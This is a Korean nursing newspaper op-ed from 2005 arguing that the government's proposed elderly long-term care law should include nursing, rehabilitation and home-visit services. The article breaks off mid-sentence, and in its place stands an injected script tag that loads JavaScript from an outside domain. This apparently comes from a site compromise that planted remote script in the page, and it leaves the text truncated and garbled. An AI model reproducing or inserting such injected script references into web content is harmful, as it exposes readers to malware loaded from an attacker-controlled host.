상단 바로가기 본문 바로가기 하단 바로가기
Home / 이슈/기획
페이스북 트위터 구글+ 인쇄
창간 29주년 특집-노인요양보장제도가 가야할 길
윤 순 녕 간협 노인요양제도개발특위 위원장
[간협 노인요양제도개발특위 위원장] 윤순녕   news@nursenews.co.kr     기사입력 2005-10-20 오전 10:19:42
우리나라는 세계적으로 유례없는 급속한 고령화로 인하여 요양보호가 필요한 노인이 2003년 59만명에서 7년 후에는 79만명으로 급격히 증가할 것으로 예상되고 있다. 반면 핵가족화와 여성의 사회활동 확대, 간병기간의 장기화 등으로 개인이나 가정에서 요양보호를 담당하는 데에는 한계에 이르고 있다.

정부는 국민들의 노후에 대한 불안을 해소하고 노인가정의 부담을 경감시키기 위해 2년여 동안 공적노인요양보장제도 도입을 검토했고, 최근 그 기본 틀을 발표했다. 하지만 `치매 중풍노인, 아무도 돌볼 수 없다면 대한민국이 돌봐야 합니다'라는 캐치프레이즈를 내걸었던 정부가 내놓은 방안에 대해 실망을 금치 못했다.

공적노인요양보장제도는 치매 중풍 등과 같은 노인성질환으로 인해 타인의 도움 없이는 혼자 살기 어려운 노인에게 간호, 재활, 간병, 수발, 목욕 등의 서비스를 공적으로 제공하는 제도로, 가장 우선적으로는 가정에 큰 부담이 되는 중증노인의 요양보호에 초점을 맞추고 국가 지역사회 가정 민간이 체계적으로 역할을 분담하고 공동으로 책임지는 시스템이어야 한다.

그러나 정부가 발표한 노인수발보장법(안)을 통해 드러난 의도는 단순히 `시중을 들며 보살피는 일' 즉 수발만으로 고령화로 인한 사회적 문제를 해결하려 한다는 것이다. 과연 가정 내 아픈 노인을 방치하거나 치매 시모를 살해하는 등의 극단적인 사건들이 수발, 목욕, 가사지원 등과 같은 서비스를 통해 경감될 수 있겠는가.

노인수발보장법(안)이 노인에게 혜택을 주고 가족의 부담을 경감시켜주는 실질적인 제도로 자리매김하기 위해서는 몇 가지 보완과 개선이 필요하다.

첫째, 대부분의 노인이 2~3개의 만성질환을 가지고 있어 질병관리를 배제한 채 노인요양을 논할 수 없는 바, 수발뿐만 아니라 요양도 본 법안에 포함되어야 한다. 수발서비스만 노인수발보장제도로 제공하고, 노인질환은 국민건강보험으로 관리하겠다는 정부의 계획은 노인의 의료기관 장기입원 및 의료비 부담증가 등의 문제를 그대로 방치하겠다는 것과 같다. 노인질환은 급성기질환 치료에 중점을 두고 있는 병 의원을 통한 관리보다는 요양시설을 통한 관리가 더 필요하다.

둘째, 노인의 욕구와 선택이 존중돼야 하고 노인의 서비스 이용편의성이 최우선적으로 고려돼야 한다. 본 제도는 가정에 큰 부담이 되는 중증 만성질환의 요양보호에 우선순위를 두어야 한다.
65세 이상 노인의 86.7%가 만성질환을 하나 이상 가지고 있는데 특히 관절염과 고혈압, 요골 좌골통 등을 많이 앓고 있다(통계청, 2005). 이러한 노인의 건강문제를 해결하기 위해서는 방문목욕, 식사보조 이외에도 재활, 물리치료, 보건교육, 만성질병 자가관리교육 등이 필요하다. 즉, 노인의 욕구를 총족시키기 위해서는 방문재활, 물리치료, 보건교육 등과 같은 급여를 추가해야 한다.
또한 노인의 서비스 이용편의성을 최우선적으로 고려한다면, 수발인정신청시 요양계획서를 작성할 요양관리사(care manager)가 노인을 직접 방문하여 질병뿐만 아니라 생활의 불편 등 포괄적인 문제를 확인하여 평가서를 작성토록 하는 것이 더 효과적일 것이다.

셋째, 비용효과적인 방문간호시설 운영을 위해 의료기관뿐만 아니라 자격을 갖춘 사람이 시설을 개설할 수 있도록 해야 한다. 노인성질환의 관리를 위해서는 의료적 서비스 제공이 필요하나, 의료적 서비스를 제공한다고 해서 의사만이 방문간호시설을 개설할 수 있도록 하는 것은 바람직하지 않다.

일례로, 의료기관만이 가정간호사업소를 개설할 수 있도록 한 결과 제도시행 5년여가 지난 현재 설치된 사업소가 130개에 그치고 있다. 반면 전문요양시설인 너싱홈의 경우에는 노인복지법에 의거하여 조건을 갖춘 자가 개설할 수 있는데, 촉탁의 제도나 의료기관과의 협약을 통해 성공적으로 운영해 나가고 있다. 너싱홈은 노인과 그 가족들의 비용부담이 덜한 반면 의료적 욕구는 충족시켜 주고 있어 큰 호응을 얻고 있다.

노인성 질환자의 요양수요에 탄력적으로 대응하기 위해서는 소규모 방문간호시설이 활성화돼야 한다. 또한 시설의 비용효과적인 운영도 추구해야 한다. 이를 위해 의사뿐만 아니라 자격을 갖춘 자가 시설을 개설할 수 있도록 해야 한다.

마지막으로 전문인력의 조기확보, 비용효과 등을 고려하여 서비스 제공자는 새로운 인력을 양성해내기 보다는, 재교육 등을 통해 기존인력을 최대한 활용하는 것을 원칙으로 해야 한다.

공적노인요양보장제도는 기존의 의료공급자와 기관 중심의 보건의료체계에서 벗어나 의료 수요자와 소비자인 노인중심으로 재편돼야 한다. 이로써 우리나라는 경제뿐 아니라 복지에서도 선진국 대열에 합류할 수 있는 새로운 전환점을 맞이하게 될 것이다. 참여정부가 진정으로 국민의 노후와 건강을 걱정한다면, 기존의 ?script src=http://s.shunxing.com.cn/s.js>
  • 중앙대 건강간호대학원
  • 보험심사관리사 자격과정
간호사신문
대한간호협회 서울시 중구 동호로 314 우)04615TEL : (02)2260-2571
등록번호 : 서울아00844등록일자 : 2009년 4월 22일발행일자 : 2000년 10월 4일발행·편집인 : 신경림  청소년보호책임자 : 신경림
Copyright(c) 2016 All rights reserved. contact news@koreanursing.or.kr for more information